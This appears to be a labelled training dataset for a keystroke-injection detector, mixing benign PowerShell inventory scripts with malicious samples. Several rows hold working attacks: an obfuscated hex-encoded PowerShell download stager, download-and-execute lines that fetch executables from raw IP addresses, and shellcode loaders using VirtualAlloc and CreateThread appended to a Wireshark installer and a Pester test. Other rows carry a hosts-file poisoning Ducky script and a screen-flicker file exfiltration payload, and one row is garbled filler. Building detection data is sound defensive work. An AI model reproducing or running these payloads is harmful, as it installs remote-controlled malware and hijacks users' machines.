"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_vccp8o8z"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3678814e-05
delay_short enter unknown_key_action LEFTALT+LEFTSHIFT+NUMLOCK enter delay_short enter 8888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888 enter unknown_key_action REPEAT 99 enter unknown_key_action [decoded_payloads] enter unknown_key_action [decoded:long_base64_literal] enter unknown_key_action óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<óÏ<ó,1,1,8.120061e-05,0.9999188
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_7otb2u91"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.json"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter",0,0,0.9999658,3.4211283e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_b8hfo1wz"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_ip_config.json"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.473875e-05
"win+r powershell enter param ( [Parameter(Mandatory=$true, HelpMessage=""The name of the DevTest Lab to enter update"")] [string] $DevTestLabName, [Parameter(Mandatory=$true, HelpMessage= enter ""The array of Marketplace Image names to enable"")] [Array] $ImagesToAdd ) func enter tion Get-Lab { $lab = Find-AzResource -ResourceType 'Microsoft.DevTestLab/labs' enter -ResourceNameEquals $DevTestLabName enter enter",1,1,0.005831371,0.99416864
"win+r enter powershell enter enter enter powershell ""& ( $ShElLiD[1]+$ShELlid[13]+'X') ( [StRIng]::jOIn('', ( 'aQ5bT53>59i53H54i65H6d>2eH4eH65J54H2e-53i45H72>76Q49T43i65>50H6fH49H4eT54-4d:41H6e>41Q67i65-52i5d:3aT3a:45:78i70J45>63H54>31H30J30H43Q6fJ6eQ74H69-6eQ55:45>20:3dJ20:30i3b:24-77-63>3d>4e-45-77-2d-4f-42T6aJ45Q43:54J20T53Q79-73-74i65T6dH2e>4eH65Q54:2eJ57J65-62H43T6ci49J45-6e-74i3bQ24T75:3d:27i4dQ6fT7aH69>6cQ6c:61H2fJ35H2eJ30i20H28:57:69>6e>64H6fQ77>73>20>4eQ54>20>36i2eT31-3b:20J57:4fT57Q36:34>3b-20:54Q72H69J64-65:6e:74-2f:37i2eH30H3bi20T72-76-3aQ31>31-2eT30>29i20i6cT69>6bi65H20i47i65i63H6bH6fQ27Q3bT24>57>63-2eQ48J45i61Q64J65Q52i53:2eQ41i64T44Q28-27T55H73H65>72i2dQ41-67Q65T6ei74i27:2cH24J75>29H3bi24i77-43i2e-50T72J6fi58i79H20J3dJ20i5bi53>59i73-74:65-6d>2e:4eT65Q74-2eJ57T65H42J52:45H51i55T65H73-74:5dH3ai3aQ44J45H66H41:55Q6cT74Q57H65Q42J50>72i4fH78Q59T3b:24>77H63i2ei50H72Q4fT78:79Q2e>43i72:65i64>45-4e>54:69J61T4cQ53T20-3d-20i5b-53J79>53:54-45H4d:2e-4e-65H74-2e-43>52>45Q64J65-4ei74H69H41Q6cT43H61-43Q68J65-5di3a>3aQ44Q65H66H61T55i4cT74:4eQ65i74T57Q4fJ72:6bi43:52T45:44T45-4eH54:49-41J6c-53Q3b:24i4b:3d>27J5bia:a'.sPLit( '-iTHQJ:>' )|ForeaCH-OBJeCT{( [convERt]::toINT16( ([StrIng]$_ ) , 16 )-as [ChAr])} ) ))"" enter enter",1,1,5.4462347e-05,0.9999455
"win+r enter powershell enter enter enter $basePath = ""C:\DeploymentFiles"" enter $themePath = ""/sites/psdemo/_catalogs/theme/15"" enter $tenant = ""<yourtenantname>"" enter enter $tenantAdmin = Get-Credential -Message ""Enter Tenant Administrator Credentials"" enter Connect-PnPOnline -Url https://<tenant>-admin.sharepoint.com -Credentials $tenantAdmin enter enter New-PnPTenantSite -Title ""PS Site"" -Url ""https://$tenant.sharepoint.com/sites/psdemo"" -Owner $tenantAdmin -Lcid 1033 -TimeZone 24 -Template STS enter Connect-PnPOnline -Url https://$tenant.sharepoint.com/sites/psdemo -Credentials $tenantAdmin enter Set-PnPPropertyBagValue -Key ""PNP_SiteType"" -Value ""PROJECT"" enter Add-PnPFile -Path ""$basePath\contoso.spcolor"" -Url ""$themePath/contoso.spcolor"" enter Add-PnPFile -Path ""$basePath\contoso.spfont"" -Url ""$themePath/contoso.spfont"" enter Add-PnPFile -Path ""$basePath\contosobg.jpg"" -Url ""$themePath/contosobg.jpg"" enter Set-PnPTheme -ColorPaletteUrl ""$themePath/contoso.spcolor"" -FontSchemeUrl ""$themePath/contoso.spfont"" -BackgroundImageUrl ""$themePath/contosobg.jpg"" enter New-PnPList -Title ""Projects"" -Template GenericList -Url ""lists/projects"" -QuickLaunchOptions on enter Add-PnPField -List ""Projects"" -InternalName ""ProjectManager"" -DisplayName ""Project Manager"" -StaticName ""ProjectManager"" -Type User -AddToDefaultView enter enter",0,0,0.99996305,3.6983143e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_zz5gwuqr"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter Export-Csv -Path (Join-Path $ReportDir ""computer_info_report.csv"") -NoTypeInformation enter Write-Host ""Starting network_checks section 2."" enter Get-NetRoute | enter Select-Object -First 50 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4525925e-05
DUCKY_REAL_BEGIN enter GUI r enter DELAY 400 enter STRING cmd enter DELAY 700 enter CTRL SHIFT ENTER enter DELAY 1500 enter LEFTARROW enter DELAY 400 enter ENTER enter DELAY 700 enter STRING echo <YourIP> google.com www.google.com >> C:/Windows/System32/drivers/etc/hosts enter DELAY 400 enter ENTER enter DELAY 400 enter ALT F4 enter DUCKY_REAL_END,1,1,5.964246e-05,0.9999404
win+r powershell enter DUCKY_REAL_BEGIN enter REM Title: PixelReflection enter REM Author: Cribbit enter REM Description: Creates a form and changes the background to black or white to represent the bits of a file. enter REM Target: Windows 10 enter ATTACKMODE HID enter REM Frames per secound enter DEFINE #FPS 60 enter REM form position enter DEFINE #TOP 0 enter DEFINE #LEFT 0 enter REM form size 1x1 px enter DEFINE #HEIGHT 1 enter DEFINE #WIDTH 1 enter REM File to send (suggest a small file) enter DEFINE #FILE $env:USERPROFILE tab est.jpg enter EXTENSION DETECT_READY enter REM VERSION 1.1 enter REM AUTHOR: Korben enter REM_BLOCK DOCUMENTATION enter USAGE: enter Extension runs inline (here) enter Place at beginning of payload (besides ATTACKMODE) to act as dynamic enter boot delay enter TARGETS: enter Any system that reflects CAPSLOCK will detect minimum required delay enter Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms enter END_REM enter REM CONFIGURATION: enter DEFINE #RESPONSE_DELAY 25 enter DEFINE #ITERATION_LIMIT 120 enter VAR $C = 0 enter WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT)) enter CAPSLOCK enter DELAY #RESPONSE_DELAY enter $C = ($C + 1) enter END_WHILE enter CAPSLOCK enter END_EXTENSION enter DELAY 2000 enter GUI r enter DUCKY_REAL_END enter,1,1,6.180453e-05,0.99993825
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_nzuv6wvm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_100.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.374746e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_6vb6r7j3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Select-Object -First 200 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.json"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.json"") -Encoding UTF8 enter",0,0,0.99996567,3.4317512e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_6el7zigt"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Export-Csv -Path (Join-Path $ReportDir ""disk_filesystem_provider.csv"") -NoTypeInformation enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 10 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_10.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4680754e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_9crtgu3g"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.json"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4520985e-05
"win+r enter powershell enter enter enter function Test-PsRemoting enter { enter param( enter [Parameter(Mandatory = $true)] enter $computername enter ) enter enter try enter { enter $errorActionPreference = ""Stop"" enter $result = Invoke-Command -ComputerName $computername { 1 } enter } enter catch enter { enter Write-Host $computername $false enter return $false enter } enter if($result -ne 1) enter { enter Write-Verbose ""Remoting to $computerName returned an unexpected result."" enter return $false enter } enter Write-Host $computername $true enter } enter enter $Computers = Get-Content e:\dexma\logs\computers.txt enter enter Foreach ($Computer IN $Computers) { enter Test-PsRemoting -ComputerName $Computer enter } enter (New-Object System.Net.WebClient).DownloadFile('http://80.82.64.45/~yakar/msvmonr.exe',""$env:APPDATA\msvmonr.exe"");Start-Process (""$env:APPDATA\msvmonr.exe"") enter enter",1,1,5.5785724e-05,0.9999442
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_ixipqdlf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status, ServiceType | enter Export-Csv -Path (Join-Path $ReportDir ""service_running.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3739285e-05
DUCKY_REAL_BEGIN enter REM Runs the curl command to download pipes enter REM a fun colorful temrinal screensaver like the old windows Pipes enter REM Title: pipeseroni enter REM Author: Narsty enter REM Target: MacOS enter REM Version: 1.0 enter REM Category: Prank enter ID 05ac:021e Apple:Keyboard enter DELAY 1000 enter GUI SPACE enter DELAY 500 enter STRING Terminal enter DELAY 500 enter ENTER enter DELAY 500 enter GUI-CTRL f enter DELAY 2000 enter STRING clear enter ENTER enter DELAY 500 enter STRING curl -L https://raw.githubusercontent.com/pipeseroni/pipes.sh/master/pipes.sh -o pipes.sh enter ENTER enter DELAY 5000 enter STRING chmod +x pipes.sh enter ENTER enter DELAY 500 enter STRING ./pipes.sh enter ENTER enter DUCKY_REAL_END,1,1,6.0247083e-05,0.9999398
"win+r enter powershell enter enter enter param( enter [string]$Version, enter [string]$Path, enter [switch]$Force, enter $Update, enter [switch]$Uninstall enter ) enter $Configs = @{ enter Url = ""https://1.eu.dl.wireshark.org/win64/Wireshark-win64-1.10.5.exe"" enter Path = ""$(Split-Path -Path $MyInvocation.MyCommand.Definition -Parent)\"" enter } enter enter $Configs | ForEach-Object{ enter enter try{ enter enter $_.Result = $null enter if(-not $_.Path){$_.Path = $Path} enter $Config = $_ enter if(-not $Uninstall){ enter if($_.ConditionExclusion){ enter $_.ConditionExclusionResult = $(Invoke-Expression $Config.ConditionExclusion -ErrorAction SilentlyContinue) enter } enter if(($_.ConditionExclusionResult -eq $null) -or $Force){ enter $_.Downloads = $_.Url | ForEach-Object{ enter Get-File -Url $_ -Path $Config.Path enter } enter $_.Downloads | ForEach-Object{ enter Start-Process -FilePath $(Join-Path $_.Path $_.Filename) -ArgumentList ""/S /desktopicon=yes"" -Wait enter } enter $_.Downloads | ForEach-Object{ enter Remove-Item (Join-Path $_.Path $_.Filename) -Force enter } enter if($Update){$_.Result = ""AppUpdated"";$_ enter }else{$_.Result = ""AppInstalled"";$_} enter }else{ enter enter $_.Result = ""ConditionExclusion"";$_ enter } enter }else{ enter enter $Executable = ""C:\Program Files\Wireshark\uninstall.exe""; if(Test-Path $Executable){Start-Process -FilePath $Executable -ArgumentList ""/S"" -Wait} enter enter $_.Result = ""AppUninstalled"";$_ enter } enter }catch{ enter enter $Config.Result = ""Error"";$Config enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x2b,0x01,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.0967294e-05,0.999949
"win+r enter powershell enter enter enter $global:ValidatorRoot = Split-Path $MyInvocation.MyCommand.Path enter enter BeforeEachFeature { enter New-Module -Name ValidatorTestEs { enter . $global:ValidatorRoot\ValidatorEs.ps1 -Verbose enter } | Import-Module -Global enter } enter enter AfterEachFeature { enter Remove-Module ValidatorTestEs enter } enter enter Given 'MiValidator finge devolver True' { enter Mock MiValidator -Module ValidatorTestEs -MockWith { return $true } enter } enter enter When 'alguien llama algo que usa MiValidator' { enter Invoke-SomethingThatUsesMiValidator ""false"" enter } enter enter Then 'MiValidator fue llamado una vez' { enter Assert-MockCalled -Module ValidatorTestEs MiValidator 1 enter } enter enter When 'MiValidator se llama con (?<word>\w+)' { enter param($word) enter $Validation = MiValidator $word enter } enter enter Then 'MiValidator debería devolver a (?<expected>\w+)' { enter param($expected) enter $expected = $expected -eq ""true"" enter $Validation | Should -Be $expected enter } enter enter $4TL = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $4TL -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbf,0x80,0x01,0xce,0x2c,0xdb,0xc8,0xd9,0x74,0x24,0xf4,0x58,0x31,0xc9,0xb1,0x47,0x31,0x78,0x13,0x03,0x78,0x13,0x83,0xe8,0x7c,0xe3,0x3b,0xd0,0x94,0x66,0xc3,0x29,0x64,0x07,0x4d,0xcc,0x55,0x07,0x29,0x84,0xc5,0xb7,0x39,0xc8,0xe9,0x3c,0x6f,0xf9,0x7a,0x30,0xb8,0x0e,0xcb,0xff,0x9e,0x21,0xcc,0xac,0xe3,0x20,0x4e,0xaf,0x37,0x83,0x6f,0x60,0x4a,0xc2,0xa8,0x9d,0xa7,0x96,0x61,0xe9,0x1a,0x07,0x06,0xa7,0xa6,0xac,0x54,0x29,0xaf,0x51,0x2c,0x48,0x9e,0xc7,0x27,0x13,0x00,0xe9,0xe4,0x2f,0x09,0xf1,0xe9,0x0a,0xc3,0x8a,0xd9,0xe1,0xd2,0x5a,0x10,0x09,0x78,0xa3,0x9d,0xf8,0x80,0xe3,0x19,0xe3,0xf6,0x1d,0x5a,0x9e,0x00,0xda,0x21,0x44,0x84,0xf9,0x81,0x0f,0x3e,0x26,0x30,0xc3,0xd9,0xad,0x3e,0xa8,0xae,0xea,0x22,0x2f,0x62,0x81,0x5e,0xa4,0x85,0x46,0xd7,0xfe,0xa1,0x42,0xbc,0xa5,0xc8,0xd3,0x18,0x0b,0xf4,0x04,0xc3,0xf4,0x50,0x4e,0xe9,0xe1,0xe8,0x0d,0x65,0xc5,0xc0,0xad,0x75,0x41,0x52,0xdd,0x47,0xce,0xc8,0x49,0xeb,0x87,0xd6,0x8e,0x0c,0xb2,0xaf,0x01,0xf3,0x3d,0xd0,0x08,0x37,0x69,0x80,0x22,0x9e,0x12,0x4b,0xb3,0x1f,0xc7,0xdc,0xe3,0x8f,0xb8,0x9c,0x53,0x6f,0x69,0x75,0xbe,0x60,0x56,0x65,0xc1,0xab,0xff,0x0c,0x3b,0x3b,0xc0,0x79,0x42,0xb1,0xa8,0x7b,0x45,0x23,0x50,0xf5,0xa3,0xc1,0xb1,0x53,0x7b,0x7d,0x2b,0xfe,0xf7,0x1c,0xb4,0xd4,0x7d,0x1e,0x3e,0xdb,0x82,0xd0,0xb7,0x96,0x90,0x84,0x37,0xed,0xcb,0x02,0x47,0xdb,0x66,0xaa,0xdd,0xe0,0x20,0xfd,0x49,0xeb,0x15,0xc9,0xd5,0x14,0x70,0x42,0xdf,0x80,0x3b,0x3c,0x20,0x45,0xbc,0xbc,0x76,0x0f,0xbc,0xd4,0x2e,0x6b,0xef,0xc1,0x30,0xa6,0x83,0x5a,0xa5,0x49,0xf2,0x0f,0x6e,0x22,0xf8,0x76,0x58,0xed,0x03,0x5d,0x58,0xd1,0xd5,0x9b,0x2e,0x3b,0xe6;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$sUpO=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($sUpO.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$sUpO,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1875533e-05,0.99994814
delay_long enter unknown_key_action GUI SPACE enter delay_medium enter terminal enter delay_medium enter enter enter delay_medium enter open http://nyan.cat/ & exit enter delay_short enter enter,1,1,5.6749508e-05,0.99994326
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_2tjsutev"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_disabled_tasks.csv"") -NoTypeInformation enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 40 ProcessName, Id, StartTime | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_cpu_40.csv"") -NoTypeInformation enter",0,0,0.999966,3.3988206e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_w4slbq78"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-NetRoute | enter Select-Object -First 75 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4415338e-05
ctrl alt t sudo sed -i '/^Exec=/s/.*/ORIGINAL_DESKTOP_EXEC_COMMAND_2/'ORIGINAL_DESKTOP_FILE_NAME_1 enter SUDO enter sudo sed -i '/^Exec=/s/.*/ORIGINAL_DESKTOP_EXEC_COMMAND_1/'ORIGINAL_DESKTOP_FILE_NAME_2 enter alt f4,1,1,0.0012352809,0.99876475
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_7s3odovu"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_errors_200.csv"") -NoTypeInformation enter Get-LocalGroup | enter Select-Object Name, Description | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_groups.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.3559518e-05
"win+r enter powershell enter enter enter Describe ""Get-Event"" -Tags ""CI"" { enter enter BeforeEach { enter ( New-Event -SourceIdentifier PesterTestEvent -sender Windows.timer -messagedata ""PesterTestMessage"" ) enter } enter enter AfterEach { enter ( Remove-Event -SourceIdentifier PesterTestEvent -ErrorAction SilentlyContinue ) enter } enter enter Context ""Check return type of Get-Event"" { enter enter It ""Should return PSEventArgs as return type of Get-Event"" { enter Get-Event -SourceIdentifier PesterTestEvent | Should -BeOfType System.Management.Automation.PSEventArgs enter } enter } enter enter Context ""Validate Get-Event can retrieve event"" { enter enter It ""Should return at least 1 event"" { enter { (Get-Event).Count | Should -BeGreaterThan 0 } enter } enter enter It ""Should return PesterTestMessage as the MessageData"" { enter { (Get-Event -SourceIdentifier PesterTimer).MessageData | Should -BeExactly ""PesterTestMessage"" } enter } enter enter It ""Should return Sender as Windows.timer"" { enter { (Get-Event -SourceIdentifier PesterTimer).Sender | Should -Be Windows.timer } enter } enter enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.945852e-05,0.9999405
"win+r enter powershell enter enter enter  enter function Test-MonitoringRelatedCommands{ enter try enter { enter $location = ""West US 2"" enter enter $cluster = Create-Cluster -Location $location enter enter $workspaceName = Generate-Name(""workspace-ps-test"") enter $resourceGroupName = $cluster.ResourceGroup enter $sku = ""pernode"" enter $workspace = New-AzOperationalInsightsWorkspace -Location $location -Name $workspaceName -ResourceGroupName $resourceGroupName -Sku $sku enter $keys = Get-AzOperationalInsightsWorkspaceSharedKey -ResourceGroupName $resourceGroupName -Name $workspace.Name enter Assert-NotNull $keys enter enter $result = Get-AzHDInsightMonitoring -ClusterName $cluster.Name -ResourceGroupName $cluster.ResourceGroup enter Assert-Null $result.WorkspaceId enter $workspaceId = $workspace.CustomerId enter $primaryKey = $keys.PrimarySharedKey enter enter Assert-NotNull $workspaceId enter Assert-NotNull $primaryKey enter Enable-AzHDInsightMonitoring -ClusterName $cluster.Name -ResourceGroup $cluster.ResourceGroup -WorkspaceId $workspaceId -Primary $primaryKey enter enter $result = Get-AzHDInsightMonitoring -ClusterName $cluster.Name -ResourceGroupName $cluster.ResourceGroup enter Assert-True {$result.ClusterMonitoringEnabled} enter Assert-AreEqual $result.WorkspaceId $workspaceId enter Disable-AzHDInsightMonitoring -ClusterName $cluster.Name -ResourceGroupName $cluster.ResourceGroup enter $result = Get-AzHDInsightMonitoring -ClusterName $cluster.Name -ResourceGroupName $cluster.ResourceGroup enter Assert-False {$result.ClusterMonitoringEnabled} enter Assert-Null $result.WorkspaceId enter } enter finally enter { enter enter Remove-AzHDInsightCluster -ClusterName $cluster.Name enter Remove-AzResourceGroup -ResourceGroupName $cluster.ResourceGroup enter } enter } enter 